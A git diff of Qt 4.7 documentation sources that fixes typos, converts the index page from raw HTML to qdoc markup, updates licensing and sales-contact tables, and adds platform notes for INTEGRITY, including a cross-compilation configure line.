diff --git a/doc/src/howtos/restoring-geometry.qdoc b/doc/src/howtos/restoring-geometry.qdoc
index 005a29e..b3d6355 100644
--- a/doc/src/howtos/restoring-geometry.qdoc
+++ b/doc/src/howtos/restoring-geometry.qdoc
@@ -28,7 +28,7 @@
/*!
\page restoring-geometry.html
\title Restoring a Window's Geometry
- \brief How to save &amp restore window geometry.
+ \brief How to save &amp; restore window geometry.
\ingroup best-practices
This document describes how to save and restore a \l{Window
diff --git a/doc/src/howtos/sharedlibrary.qdoc b/doc/src/howtos/sharedlibrary.qdoc
index 5b47618..3e611b9 100644
--- a/doc/src/howtos/sharedlibrary.qdoc
+++ b/doc/src/howtos/sharedlibrary.qdoc
@@ -59,7 +59,7 @@
\endlist
Now, we need to ensure that the right macro is invoked -- whether we
- compile a share library itself, or just the client using the shared
+ compile a shared library itself, or just the client using the shared
library.
Typically, this can be solved by adding a special header.
diff --git a/doc/src/images/audiodevices-example.png b/doc/src/images/audiodevices-example.png
new file mode 100755
index 0000000..ae857df
--- /dev/null
+++ b/doc/src/images/audiodevices-example.png
Binary files differ
diff --git a/doc/src/images/audioinput-example.png b/doc/src/images/audioinput-example.png
new file mode 100644
index 0000000..fb703e6
--- /dev/null
+++ b/doc/src/images/audioinput-example.png
Binary files differ
diff --git a/doc/src/images/audiooutput-example.png b/doc/src/images/audiooutput-example.png
new file mode 100755
index 0000000..5588fbb
--- /dev/null
+++ b/doc/src/images/audiooutput-example.png
Binary files differ
diff --git a/doc/src/images/combo-widget-mapper.png b/doc/src/images/combowidgetmapper-example.png
index 910d6ed..910d6ed 100644
--- a/doc/src/images/combo-widget-mapper.png
+++ b/doc/src/images/combowidgetmapper-example.png
Binary files differ
diff --git a/doc/src/images/declarative-colors.png b/doc/src/images/declarative-colors.png
new file mode 100644
index 0000000..f2eacd8
--- /dev/null
+++ b/doc/src/images/declarative-colors.png
Binary files differ
diff --git a/doc/src/images/combobox.png b/doc/src/images/modelview-combobox.png
index d172b41..d172b41 100755
--- a/doc/src/images/combobox.png
+++ b/doc/src/images/modelview-combobox.png
Binary files differ
diff --git a/doc/src/images/header.png b/doc/src/images/modelview-header.png
index 2597635..2597635 100755
--- a/doc/src/images/header.png
+++ b/doc/src/images/modelview-header.png
Binary files differ
diff --git a/doc/src/images/mediaplayer-demo.png b/doc/src/images/qmediaplayer-demo.png
index 2c1f9b4..2c1f9b4 100644
--- a/doc/src/images/mediaplayer-demo.png
+++ b/doc/src/images/qmediaplayer-demo.png
Binary files differ
diff --git a/doc/src/images/qml-positioners-layoutdirection-example.png b/doc/src/images/qml-positioners-layoutdirection-example.png
new file mode 100644
index 0000000..2c42b09
--- /dev/null
+++ b/doc/src/images/qml-positioners-layoutdirection-example.png
Binary files differ
diff --git a/doc/src/images/roaming-states.png b/doc/src/images/roaming-states.png
new file mode 100644
index 0000000..bc61cac
--- /dev/null
+++ b/doc/src/images/roaming-states.png
Binary files differ
diff --git a/doc/src/index.qdoc b/doc/src/index.qdoc
index 3bef2ad..be59c2f 100644
--- a/doc/src/index.qdoc
+++ b/doc/src/index.qdoc
@@ -29,83 +29,91 @@
\page index.html
\keyword Qt Reference Documentation
- \raw HTML
- <div class="indexbox guide" >
- <div class="heading">
- Qt Developer Guide</div>
- <div class="indexboxcont indexboxbar">
- <div class="section indexIcon"><span></span></div>
- <div class="section">
- <p>Qt is a cross-platform application and UI framework. Using Qt, you can write web-enabled applications once and deploy them across desktop, mobile and embedded operating systems without rewriting the source code.</p>
- </div>
- <div class="section sectionlist">
- <ul>
- <li><a href="gettingstarted.html">Getting started</a></li>
- <li><a href="installation.html">Installation</a></li>
- <li><a href="how-to-learn-qt.html">How to learn Qt</a></li>
- <li><a href="tutorials.html">Tutorials</a></li>
- <li><a href="all-examples.html">Examples</a></li>
- <li><a href="qt4-7-intro.html">What's new in Qt 4.7</a></li>
- </ul>
- </div>
- </div>
- </div>
- <div class="indexbox api">
- <div class="heading">
- Qt API</div>
- <div class="indexboxcont indexboxbar ">
- <div class="sectionlist tricol">
- <ul>
- <li><a href="classes.html">All Classes</a></li>
- <li><a href="functions.html">All Functions</a></li>
- <li><a href="modules.html">All Modules</a></li>
- <li><a href="namespaces.html">All Namespaces</a></li>
- <li><a href="qtglobal.html">Global Declarations</a></li>
- <li><a href="licensing.html">Licenses and Credits</a></li>
- </ul>
- </div>
- <div class="sectionlist tricol">
- <ul>
- <li><a href="qt-basic-concepts.html">Programming with Qt</a></li>
- <li><a href="qt-gui-concepts.html">UI Design with Qt</a></li>
- <li><a href="developing-with-qt.html">Cross-platform and Platform-specific</a></li>
- <li><a href="technology-apis.html">Qt and Key Technologies</a></li>
- <li><a href="best-practices.html">Best Practices Guides</a></li>
- </ul>
- </div>
- <div class="sectionlist">
- <ul>
- <li><a href="qtquick.html">Qt Quick</a></li>
- <li><a href="qdeclarativeintroduction.html">Introduction to QML</a></li>
- <li><a href="qdeclarativeelements.html">QML Elements</a></li>
- <li><a href="qdeclarativeexamples.html">QML Examples and Demos</a></li>
- </ul>
- </div>
- </div>
- </div>
- <div class="indexbox tools">
- <div class="heading">
- Qt Tools</div>
- <div class="indexboxcont">
- <div class="section indexIcon"><span></span></div>
- <div class="section">
- <p>Qt offers a selection of development tools for different tasks. Use Qt Creator for
- project and code management as well as building powerfull UIs.</p>
- </div>
- <div class="section sectionlist">
- <ul>
- <li><a href="http://doc.qt.nokia.com/qtcreator-2.0/index.html">Qt Creator</a></li>
- <li><a href="designer-manual.html">Qt Designer</a></li>
- <li><a href="linguist-manual.html">Qt Linguist</a></li>
- <li><a href="assistant-manual.html">Qt Assistant</a></li>
- <li><a href="qmake-manual.html">Qt qmake</a></li>
- <li><a href="http://doc.qt.nokia.com/qtsimulator-1.0/index.html">Qt Simulator</a></li>
- <li><a href="http://qt.nokia.com/developer/eclipse-integration">Eclipse Integration</a></li>
- <li><a href="http://qt.nokia.com/products/appdev">Add-On Products and Services</a></li>
- <li><a href="qvfb.html">Virtual Framebuffer</a></li>
- </ul>
- </div>
- </div>
- </div>
- \endraw
+ \div {indexbox guide}
+ \div {heading}
+ Qt Developer Guide
+ \enddiv
+ \div {indexboxcont indexboxbar}
+ \div {section indexIcon} \emptyspan
+ \enddiv
+ \div {section}
+ Qt is a cross-platform application and UI
+ framework. Using Qt, you can write web-enabled
+ applications once and deploy them across desktop,
+ mobile and embedded operating systems without
+ rewriting the source code.
+ \enddiv
+ \div {section sectionlist}
+ \list
+ \o \l{Getting Started Guides}{Getting started}
+ \o \l{Installation}{Installation}
+ \o \l{how-to-learn-qt.html}{How to learn Qt}
+ \o \l{tutorials.html}{Tutorials}
+ \o \l{Qt Examples}{Examples}
+ \o \l{qt4-7-intro.html}{What's new in Qt 4.7}
+ \endlist
+ \enddiv
+ \enddiv
+ \enddiv
+ \div {indexbox api}
+ \div {heading}
+ Qt API
+ \enddiv
+ \div {indexboxcont indexboxbar }
+ \div {sectionlist tricol}
+ \list
+ \o \l{All Classes}{All Classes}
+ \o \l{All Functions}{All Functions}
+ \o \l{All Modules}{All Modules}
+ \o \l{All Namespaces}{All Namespaces}
+ \o \l{Global Qt Declarations}{Global Declarations}
+ \o \l{Qt Licenses and Credits}{Licenses and Credits}
+ \endlist
+ \enddiv
+ \div {sectionlist tricol}
+ \list
+ \o \l{Programming with Qt}
+ \o \l{UI Design with Qt}
+ \o \l{Cross-Platform and Platform-Specific Development}
+ \o \l{Qt and Key Technologies}
+ \o \l{Best Practice Guides}
+ \endlist
+ \enddiv
+ \div {sectionlist}
+ \list
+ \o \l{qtquick.html}{Qt Quick}
+ \o \l{qdeclarativeintroduction.html}{Introduction to QML}
+ \o \l{qdeclarativeelements.html}{QML Elements}
+ \o \l{qdeclarativeexamples.html}{QML Examples and Demos}
+ \endlist
+ \enddiv
+ \enddiv
+ \enddiv
+ \div {indexbox tools}
+ \div {heading}
+ Qt Tools
+ \enddiv
+ \div {indexboxcont}
+ \div {section indexIcon} \emptyspan
+ \enddiv
+ \div {section}
+ Qt offers a selection of development tools for
+ different tasks. Use Qt Creator for project and code
+ management as well as building powerfull UIs.
+ \enddiv
+ \div {section sectionlist}
+ \list
+ \o \l{http://doc.qt.nokia.com/qtcreator-2.0/index.html}{Qt Creator}
+ \o \l{designer-manual.html}{Qt Designer}
+ \o \l{linguist-manual.html}{Qt Linguist}
+ \o \l{assistant-manual.html}{Qt Assistant}
+ \o \l{qmake-manual.html}{Qt qmake}
+ \o \l{http://doc.qt.nokia.com/qtsimulator-1.0/index.html}{Qt Simulator}
+ \o \l{http://qt.nokia.com/developer/eclipse-integration}{Eclipse Integration}
+ \o \l{http://qt.nokia.com/products/appdev}{Add-On Products and Services}
+ \o \l{qvfb.html}{Virtual Framebuffer}
+ \endlist
+ \enddiv
+ \enddiv
+ \enddiv
*/
diff --git a/doc/src/internationalization/linguist-manual.qdoc b/doc/src/internationalization/linguist-manual.qdoc
index 0caea77..1f413f9 100644
--- a/doc/src/internationalization/linguist-manual.qdoc
+++ b/doc/src/internationalization/linguist-manual.qdoc
@@ -95,7 +95,7 @@
\o A single phrase may need to be translated into several
different forms depending on context, e.g. \e open in English
- might become \e{\ouml\c{}ffnen}, "open file", or \e aufbauen,
+ might become \e{\ouml}\e{ffnen}, "open file", or \e aufbauen,
"open internet connection", in German.
\o Keyboard accelerators may need to be changed but without
@@ -159,7 +159,7 @@
\section1 Qt Project Files
The easiest method to use \l{#lupdate} {lupdate} and \l{#lrelease}
- {lrelease} is by specifing a \c .pro Qt project file. There must
+ {lrelease} is by specifying a \c .pro Qt project file. There must
be an entry in the \c TRANSLATIONS section of the project file for
each language that is additional to the native language. A typical
entry looks like this:
@@ -342,8 +342,8 @@
the bottom of the main window. The phrases and guesses window
shows possible translations for the current string. These
translation "guesses" have been read from phrase books
- (\menu{Phrases|Open Phrase Book...}). The current string's
- current translation is also shown here. To select a guess, double
+ (\menu{Phrases|Open Phrase Book...}). The current strings
+ translation is also shown here. To select a guess, double
click it in the phrases and guesses window or use the keyboard
shortcut shown to the right of the guess.
@@ -371,7 +371,7 @@
subwindows are: \l{Context Window} {Context}, \l{Sources and Forms
Window} {Sources and Forms}, \l{Strings Window} {Strings},
\l{Phrases and Guesses Window} {Phrases and guesses}, and
- \l{Warnings Window} {Warnings} (hidden in the UI snapsot). The
+ \l{Warnings Window} {Warnings} (hidden in the UI snapshot). The
translation area is always visible, but the dockable subwindows
can be activated or deactivated in the \menu{View|Views} menu, and
dragged around by their title bars and dropped in the translation
@@ -513,7 +513,7 @@
\o No Translation
\o \inlineimage linguist-check-empty.png
\o The string does not have a translation. Click the icon to
- accpet the empty translation anyway. The state is reset to
+ accept the empty translation anyway. The state is reset to
\inlineimage linguist-check-on.png
, and the number of accepted translations in the \e{Items} column
of the \l{Context Window} {context list} is incremented by 1.
@@ -567,7 +567,7 @@
When \l{Translating Multiple Languages Simultaneously} {multiple
languages} are being translated, this sequence of fields is
- repeated for each language. See aso \l {Changing the Target
+ repeated for each language. See also \l {Changing the Target
Locale}.
\section2 Phrases and Guesses Window
@@ -585,7 +585,7 @@
translation area, or you can use the translation's \e{Guess}
hotkey on the right. You can also press \key{F10} to move the
focus to the Phrases and Guesses Window, then use the up and down
- arrow keys to find the desired translation, and and then press
+ arrow keys to find the desired translation, and then press
\key{Enter} to copy it to the translation area. If you decide
that you don't want to copy a phrase after all, press \key{Esc} to
return the focus to the translation area.
@@ -649,7 +649,7 @@
{translation area} has text editing areas for both Polish and
Japanese, and these are color-coded for easier separation.
Second, the \l{Context Window} and the \l{Strings Window} both
- have two clomuns labeled \inlineimage linguist-check-obsolete.png
+ have two columns labeled \inlineimage linguist-check-obsolete.png
instead of one, and although it may be hard to tell, these columns
are also color-coded with the same colors. The left-most column in
either case applies to the top-most language area (Polish above)
@@ -793,7 +793,7 @@
might reverse the phrases, e.g. \c{Datei %2 wird bearbeitet, wenn
Datei %1 fertig ist}. Both numbered arguments appear in the
translation, but in the reverse order. \c{%i} will always be
- replaced by the same text in the translation stringss, regardless
+ replaced by the same text in the translation strings, regardless
of where argument \e{i} appears in the argument sequence in the
source string.
@@ -843,7 +843,7 @@
are used to provide a common set of translations to help ensure consistency.
They can also be used to avoid duplication of effort since the translations
for a family of applications can be produced once in the phrase book.
- If the translator reaches an untranslated phrase that is the same as a
+ If the translator reaches an non-translated phrase that is the same as a
source phrase in a phrase book, \QL will show the
phrase book entry in the \l {Phrases and Guesses Window}.
@@ -935,7 +935,7 @@
List on the left hand. If the path to the files has changed, you can load
the files manually via \menu{File|Open Form...}. Double-click on an entry
in the Forms List to display the Form File. Select \e{<No Translation>} from
- the toolbar to display the untranslated form.
+ the toolbar to display the non-translated form.
\section1 Qt Linguist Reference
@@ -1027,7 +1027,7 @@
\o \gui {Translation}
\list
\o \gui {Prev Unfinished Ctrl+K} \BR moves to the nearest previous
- unfinished source phrase (unfinished means untranslated or
+ unfinished source phrase (unfinished means non-translated or
translated but failed validation).
\o \gui {Next Unfinished Ctrl+L} \BR moves to the next unfinished source
phrase.
@@ -1406,7 +1406,7 @@
If a French translation is loaded, this will expand to "0 item
remplac\unicode{233}", "1 item remplac\unicode{233}", "2 items
remplac\unicode{233}s", etc., depending on \c{n}'s value.
- And if no translation is loaded, the orignal string is used, with \c %n
+ And if no translation is loaded, the original string is used, with \c %n
replaced with count's value (e.g., "6 item(s) replaced").
To handle plural forms in the native language, you need to load a
diff --git a/doc/src/legal/3rdparty.qdoc b/doc/src/legal/3rdparty.qdoc
index 2c8cbef..ffac885 100644
--- a/doc/src/legal/3rdparty.qdoc
+++ b/doc/src/legal/3rdparty.qdoc
@@ -92,13 +92,8 @@
\section1 HarfBuzz (\c harfbuzz)
- \e{This is HarfBuzz, an OpenType Layout engine.}
-
- \e{It was derived originally from the OpenType code in FreeType-1.x, ported to
- FreeType2. (This code has been abandoned for FreeType2, but until something
- better comes along, should serve our purposes.) In addition to porting to
- FreeType-2, it has been modified in various other ways.} -- quoted from
- \c src/3rdparty/harfbuzz/README.
+ \e{This is HarfBuzz, an OpenType Layout engine library.}
+ -- quoted from \c src/3rdparty/harfbuzz/README.
\hr
@@ -129,8 +124,7 @@
\hr
- See \c src/3rdparty/harfbuzz/COPYING.FTL and src/3rdparty/harfbuzz/COPYING.GPL
- for license details.
+ See \c src/3rdparty/harfbuzz/COPYING for license details.
\section1 The Independent JPEG Group's JPEG Software (\c libjpeg) version 8
diff --git a/doc/src/legal/commercialeditions.qdoc b/doc/src/legal/commercialeditions.qdoc
index 37aed3f..2537a13 100644
--- a/doc/src/legal/commercialeditions.qdoc
+++ b/doc/src/legal/commercialeditions.qdoc
@@ -37,23 +37,46 @@
If you want to develop Free or Open Source software for release using a recognized
Open Source license, you can use the \l{Open Source Versions of Qt}.
- The table below summarizes the differences between the two commercial editions:
+ The following table is a summary of the licenses under which Qt is made available.
+
+ \table
+ \row \o \bold{Qt Commercial Developer License}
+ \o The Qt Commercial Developer License is the appropriate version to use for the
+ development of proprietary and/or commercial software where the developer does not
+ wish to share or distribute any source code of the Qt libraries or otherwise comply
+ with the terms of the \l{GNU Lesser General Public License (LGPL)}{GNU Lesser General
+ Public License version 2.1} or \l{GNU General Public License (GPL)}{GNU GPL version
+ 3.0}.
+ \row \o \bold{Qt GNU LGPL v. 2.1}
+ \o This version of Qt is appropriate for the development of Qt applications
+ (proprietary or open source) provided you can comply with the terms and conditions
+ contained in the \l{GNU Lesser General Public License (LGPL)}{GNU LGPL version 2.1}.
+ \row \o \bold{Qt GNU GPL v. 3.0}
+ \o This version of Qt is appropriate for the development of Qt applications where
+ you wish to use such applications in combination with software subject to the terms
+ of the GNU General Public License version 3.0 or where you are otherwise willing to
+ comply with the terms of the
+ \l{GNU General Public License (GPL)}{GNU General Public License version 3.0}.
+ \endtable
Please see the \l{Supported Platforms}{list of supported
platforms} for up-to-date information about the various platforms
and compilers that Qt supports.
- On the Qt web site, you can find a
+ On the Qt Web site, you can find a
\l{Qt Licensing Overview} and information on \l{Qt License Pricing}
for commercial editions of Qt and other Qt-related products.
- To purchase, please visit the \l{How to Order}{online order form}.
-
- For further information and assistance, please contact Qt sales.
+ \section1 Purchasing and Sales Information
- Web: http://qt.nokia.com/contact.
+ To purchase, please visit the \l{How to Order}{online order form}.
- Phone, U.S. office (for North America): \bold{1-650-813-1676}.
+ For further information and assistance, please contact the Qt sales team
+ via one of the following channels:
- Phone, Norway office (for the rest of the world): \bold{+47 21 60 48 00}.
+ \table
+ \row \o Web: \o \bold{http://qt.nokia.com/contact}
+ \row \o Phone, U.S. office (for sales in North America): \o \bold{1-408-220-9020}
+ \row \o Phone, Norway office (for sales in the rest of the world): \o \bold{+47 21 60 48 00}
+ \endtable
*/
diff --git a/doc/src/modules.qdoc b/doc/src/modules.qdoc
index 9dbf7a7..38a7a8b 100644
--- a/doc/src/modules.qdoc
+++ b/doc/src/modules.qdoc
@@ -30,7 +30,7 @@
\title All Modules
\startpage index.html Qt Reference Documentation
\nextpage QtCore
-
+
\ingroup classlists
\brief Qt 4 comprises several modules. Each module is a separate
@@ -40,7 +40,7 @@
\header \o {2,1} \bold{Modules for general software development}
\row \o \l{QtCore} \o Core non-graphical classes used by other modules
\row \o \l{QtGui} \o Graphical user interface (GUI) components
- \row \o \l{qtmultimedia-module.html}{QtMultimedia} \o Classes for low-level multimedia functionality
+ \row \o \l{QtMultimedia Module}{QtMultimedia} \o Classes for low-level multimedia functionality
\row \o \l{QtNetwork} \o Classes for network programming
\row \o \l{QtOpenGL} \o OpenGL support classes
\row \o \l{QtOpenVG} \o OpenVG support classes
diff --git a/doc/src/overviews.qdoc b/doc/src/overviews.qdoc
index 61de954..f51e320 100644
--- a/doc/src/overviews.qdoc
+++ b/doc/src/overviews.qdoc
@@ -42,7 +42,7 @@
Qt is a cross-platform application and UI framework for writing
web-enabled applications for desktop, mobile, and embedded
operating systems. This page contains links to articles and overviews
- explaining key components and techniuqes used in Qt development.
+ explaining key components and techniques used in Qt development.
\generatelist {related}
*/
@@ -51,7 +51,7 @@
\group qt-gui-concepts
\title UI Design with Qt
- \brief The Qt components for constructing native look & feel desktop UI's.
+ \brief The Qt components for constructing native look and feel desktop UI's.
These pages are about Qt's traditional set of GUI components for
building both native look & feel and custom UI's for the desktop
@@ -122,9 +122,9 @@
/*!
\group best-practices
- \title Best Practices Guides
+ \title Best Practice Guides
- \brief How-To Guides and Best Practices
+ \brief How-To and Best Practice Guides
These documents provide guidelines and best practices for using Qt
to solve specific technical problems. They are listed
diff --git a/doc/src/painting-and-printing/coordsys.qdoc b/doc/src/painting-and-printing/coordsys.qdoc
index a8febae..252159e 100644
--- a/doc/src/painting-and-printing/coordsys.qdoc
+++ b/doc/src/painting-and-printing/coordsys.qdoc
@@ -29,6 +29,7 @@
\page coordsys.html
\title Coordinate System
\ingroup qt-graphics
+ \ingroup best-practices
\brief Information about the coordinate system used by the paint
system.
diff --git a/doc/src/platforms/emb-accel.qdoc b/doc/src/platforms/emb-accel.qdoc
index c987522..5105093 100644
--- a/doc/src/platforms/emb-accel.qdoc
+++ b/doc/src/platforms/emb-accel.qdoc
@@ -117,8 +117,8 @@
\section1 Step 4: Make the Window Surface Aware of Your Paint Device
- Derive from the QWSWindowSurface class and reimplement its \l
- {QWSWindowSurface::}{paintDevice()} function. Make this function
+ Derive from the QWSWindowSurface class and reimplement its
+ paintDevice() function. Make this function
return a pointer to your custom raster paint device.
\section1 Step 5: Enable Creation of an Instance of Your Window Surface
diff --git a/doc/src/platforms/emb-qvfb.qdoc b/doc/src/platforms/emb-qvfb.qdoc
index b83da4a..e0e6fa2 100644
--- a/doc/src/platforms/emb-qvfb.qdoc
+++ b/doc/src/platforms/emb-qvfb.qdoc
@@ -197,7 +197,6 @@
for the button are redrawn from the activated skin.
\row
- \row
\o
\image qt-embedded-clamshellphone-closed.png The ClamshellPhone Skin (closed)
\o
diff --git a/doc/src/platforms/platform-notes-rtos.qdoc b/doc/src/platforms/platform-notes-rtos.qdoc
index 776f510..be63063 100644
--- a/doc/src/platforms/platform-notes-rtos.qdoc
+++ b/doc/src/platforms/platform-notes-rtos.qdoc
@@ -245,3 +245,112 @@
some regressions were spotted in QDateTime computation around year 0 and year 1970,
which have been tracked back to faulty time zone data on some QNX versions.
*/
+
+/*!
+ \page platform-notes-integrity.html
+ \title Platform Notes - INTEGRITY
+ \contentspage Platform Notes
+ \target INTEGRITY
+
+ \note INTEGRITY is a community supported platform. See the
+ \l{Supported Platforms} page for more information.
+
+ This page contains information about the Qt for INTEGRITY port. More
+ information about the combinations of platforms and compilers supported
+ by Qt can be found on the \l{Supported Platforms} page.
+
+ Note that Qt for INTEGRITY is currently based on \l{Qt for Embedded Linux},
+ which contains its own windowing system.
+
+ Qt for INTEGRITY contains experimental screen and input drivers based on the
+ gh_FB Framebuffer API for graphics, a Connection-based mouse and keyboard
+ support. For information about these drivers, please refer to Green Hills
+ Software standard support.
+
+ \tableofcontents
+
+ \section1 Supported Versions
+
+ Qt has been tested on INTEGRITY 10 on various PowerPC, ARM and x86 targets.
+ On some platforms a native graphics FrameBuffer driver is available and has
+ then been used for testing. On all other platforms, the default FrameBuffer
+ VNC driver is used.
+
+ \section1 Limitations
+
+ Some of Qt's functionality is currently not available on INTEGRITY:
+
+ \table
+ \header \o Function \o Notes
+ \row \o QProcess
+ \o Not implemented. Volunteers welcome.
+ \row \o QSharedMemory
+ \o Not available - INTEGRITY doesn't support SYSV style shared memory.
+ \row \o QSystemSemaphore
+ \o Not available - INTEGRITY doesn't support SYSV style system semaphores.
+ \row \o QWS Multi Process
+ \o QT_NO_QWS_MULTIPROCESS is always on due to missing shared memory support.
+ \row \o Phonon
+ \o There is no standard audio backend.
+ \row \o Qt3Support
+ \o The Qt3Support library is not available on INTEGRITY.
+ \row \o QtScript
+ \o Not available - INTEGRITY's mmap() doesn't support allocating memory.
+ \endtable
+
+ \section1 Build Instructions
+
+ Qt for INTEGRITY can be built on either a Linux or Windows (with cygwin) host.
+ In both cases, a standard installation of INTEGRITY is required, with the
+ addition of the FrameBuffer API.
+
+ Example configure line for cross-compiling Qt for INTEGRITY for an
+ ARM INTEGRITY target:
+
+ \code
+ ./configure --hostprefix=$PWD -embedded integrity -xplatform unsupported/qws/integrity-arm-cxarm -static -qt-kbd-integrity -qt-mouse-integrity -no-mouse-linuxtp -no-mouse-pc -no-kbd-tty -qt-gfx-integrityfb -no-qt3support -no-gfx-linuxfb -no-glib -no-openssl -no-largefile -little-endian -arch integrity -prefix / -opensource -no-feature-QWS_MULTIPROCESS -no-feature-SHAREDMEMORY -no-feature-PROCESS -no-feature-SYSTEMSEMAPHORE -no-feature-PRINTER -no-feature-QWS_QPF2 -no-scripttools
+ \endcode
+
+ \list
+ \o \c{--hostprefix=$PWD} - specifies the current directory as the base source for Qt
+ \o \c{-arch integrity} - sets the architecture to INTEGRITY (for atomic operations)
+ \o \c{-embedded integrity} - builds the embedded version of Qt and sets the architecture to INTEGRITY
+ \o \c{-xplatform unsupported/qws/integrity-arm-cxarm} - selects the arm-cxarm mkspec for INTEGRITY
+ \o \c{-static} - specifies a static build of Qt
+ \o \c{-no-gfx-linuxfb}, \c{-no-mouse-linuxtp}, \c{-no-mouse-pc} and \c{-no-kbd-tty} are Linux specific and won't work on INTEGRITY
+ \o \c{-no-qt3support} - required since the Qt3 support classes are not supported on INTEGRITY
+ \o \c{-no-exceptions} - reduces the size of the library by disabling exception support
+ \o \c{-no-openssl} - disable support for OpenSSL
+ \o \c{-no-glib} - disable support for unavailable Glib
+ \o \c{-no-largefile} - disable support for large (> 2TB) files
+ \o \c{-no-scripttools} - disable support for QtScript tools
+ \o \c{-qt-gfx-integrity} - enables the experimental gh_FB based display driver
+ \o \c{-qt-mouse-integrity} - enables the experimental Connection-based mouse driver
+ \o \c{-qt-kbd-integrity} - enables the experimental Connection-based keyboard driver
+ \endlist
+
+ The above script will generate MULTI .gpj Project files, not Makefiles. The
+ main benefit of using these project files is automatic dependency checking,
+ but this also provides an organization known to INTEGRITY customers.
+ For Qt libraries, the top-level file is projects.gpj.
+
+ \section1 General Notes
+
+ \list
+ \o Before you run the above configure line, you may want to modify the values
+ of INTEGRITY_DIR and INTEGRITY_BSP in unsupported/qws/integrity-arm-cxarm/qmake.conf.
+ If you do not do this, you will have to modify the resulting generated projects.gpj
+
+ \o GIF support is currently not enabled.
+
+ \o Default .int files are generated. You may want to modify the amount of heap assigned
+ to each example by modifying the HeapSize declaration in the specific example .int file.
+
+ \o Some of the tools, examples and demos do not compile due to dependencies on QProcess
+ or other classes that are not available on INTEGRITY.
+
+ \endlist
+
+ \section1 Platform Regressions
+
+*/
diff --git a/doc/src/platforms/platform-notes.qdoc b/doc/src/platforms/platform-notes.qdoc
index aac6bb0..de6eb7f 100644
--- a/doc/src/platforms/platform-notes.qdoc
+++ b/doc/src/platforms/platform-notes.qdoc
@@ -735,9 +735,9 @@
\row \o QtCore
\o \c AllFiles when \l{http://developer.symbian.org/wiki/index.php/Capabilities_%28Symbian_Signed%29/AllFiles_Capability}{accessing specific areas.}
\row \o QtDeclarative
- \o \c NetworkServices is automatically added for this module.
+ \o \c NetworkServices is automatically added for this module if no capabilities are explicitly specified.
\row \o QtNetwork
- \o \c NetworkServices is automatically added for this module.
+ \o \c NetworkServices is automatically added for this module if no capabilities are explicitly specified.
\row \o QtNetwork
\o \c ReadUserData is required to include all the phone's SSL certificates in the system's default CA certificate list
(for example those added by the user or stored in the SIM card),
@@ -745,7 +745,7 @@
\row \o QtMultiMedia
\o \c UserEnvironment if QAudioInput is used.
\row \o QtWebkit
- \o \c NetworkServices is automatically added for this module.
+ \o \c NetworkServices is automatically added for this module if no capabilities are explicitly specified.
\endtable
\note Some modules rely on other modules. E.g. QtWebkit and QtDeclarative
diff --git a/doc/src/porting/porting4-modifiedvirtual.qdocinc b/doc/src/porting/porting4-modifiedvirtual.qdocinc
index 1164238..332543f 100644
--- a/doc/src/porting/porting4-modifiedvirtual.qdocinc
+++ b/doc/src/porting/porting4-modifiedvirtual.qdocinc
@@ -10,7 +10,7 @@
\row \o bool QMacMime::canConvert(const char *, int) \o bool QMacMime::canConvert(const QString &, int)
\row \o QValueList<QByteArray> QMacMime::convertFromMime(QByteArray, const char *, int) \o QList<QByteArray> QMacMime::convertFromMime(QByteArray, const QString &, int)
\row \o QByteArray QMacMime::convertToMime(QValueList<QByteArray> data, const char *, int) \o QByteArray QMacMime::convertToMime(QList<QByteArray> data, const QString &, int)
-\row \o const char * QMacMime::convertorName() \o QString QMacMime::convertorName()
+\row \o const char * QMacMime::convertorName( ) \o QString QMacMime::convertorName( )
\row \o int QMacMime::flavorFor(const char *) \o int QMacMime::flavorFor(const QString &)
\row \o const char * QMacMime::mimeFor(int) \o QString QMacMime::mimeFor(int)
\row \o QMetaObject * QObject::metaObject() const \o const QMetaObject * QObject::metaObject() const
diff --git a/doc/src/porting/porting4.qdoc b/doc/src/porting/porting4.qdoc
index 0e8cd86..a3960c3 100644
--- a/doc/src/porting/porting4.qdoc
+++ b/doc/src/porting/porting4.qdoc
@@ -3609,7 +3609,7 @@
\row \o \c PE_WindowFrame \o QStyle::PE_FrameWindow
\row \o \c PE_CheckListController \o QStyle::PE_Q3CheckListController
\row \o \c PE_CheckListIndicator \o QStyle::PE_Q3CheckListIndicator
- \row \o \c PE_CheckListExclusiveIndicato\o QStyle::PE_Q3CheckListExclusiveIndicator
+ \row \o \c PE_CheckListExclusiveIndicator \o QStyle::PE_Q3CheckListExclusiveIndicator
\row \o \c PE_PanelGroupBox \o QStyle::PE_FrameGroupBox
\row \o \c PE_TreeBranch \o QStyle::PE_IndicatorBranch
\row \o \c PE_RubberBand \o QStyle::CE_RubberBand \o uses QStyle::drawControl()
diff --git a/doc/src/qt-webpages.qdoc b/doc/src/qt-webpages.qdoc
index e476b68..5a3bfc9 100644
--- a/doc/src/qt-webpages.qdoc
+++ b/doc/src/qt-webpages.qdoc
@@ -244,3 +244,8 @@
\externalpage http://labs.qt.nokia.com
\title Qt Labs
*/
+
+/*!
+ \externalpage http://qt.gitorious.org/qt/pages/QtCodingStyle
+ \title Qt Coding Style
+*/
diff --git a/doc/src/qt4-intro.qdoc b/doc/src/qt4-intro.qdoc
index 6effbfa..3cabb1c 100644
--- a/doc/src/qt4-intro.qdoc
+++ b/doc/src/qt4-intro.qdoc
@@ -328,7 +328,7 @@
With Qt 4, the Qt class has become the Qt namespace. If you want
to access a constant that is part of the Qt namespace, prefix it
- with \c Qt:: (e.g., \c{Qt::yellow}), or add the directive
+ with \c{Qt::} (e.g., \c{Qt::yellow}), or add the directive
\snippet doc/src/snippets/code/doc_src_qt4-intro.qdoc 7
@@ -341,7 +341,7 @@
in Qt 3, it was legal to write \c QWidget::yellow instead of \c
Qt::yellow, because QWidget inherited from Qt. This won't work in
Qt 4; you must write \c Qt::yellow or add the "using namespace"
- directive and drop the \c Qt:: prefix.
+ directive and drop the \c{Qt::} prefix.
The \l{qt3to4 - The Qt 3 to 4 Porting Tool}{qt3to4} porting tool
automates this conversion.
diff --git a/doc/src/snippets/code/doc_src_installation.qdoc b/doc/src/snippets/code/doc_src_installation.qdoc
index cf204b5..5aaa2b0 100644
--- a/doc/src/snippets/code/doc_src_installation.qdoc
+++ b/doc/src/snippets/code/doc_src_installation.qdoc
@@ -328,9 +328,10 @@ runonphone -s myapp.sis myapp.exe
//! [49]
//! [50]
-nokia_plugin/openc/s60opencsis/openc_ssl_s60_1_6_ss.sis
-nokia_plugin/openc/s60opencsis/pips_s60_1_6_ss.sis
-nokia_plugin/opencpp/s60opencppsis/stdcpp_s60_1_6_ss.sis
+src/s60installs/sqlite3.sis
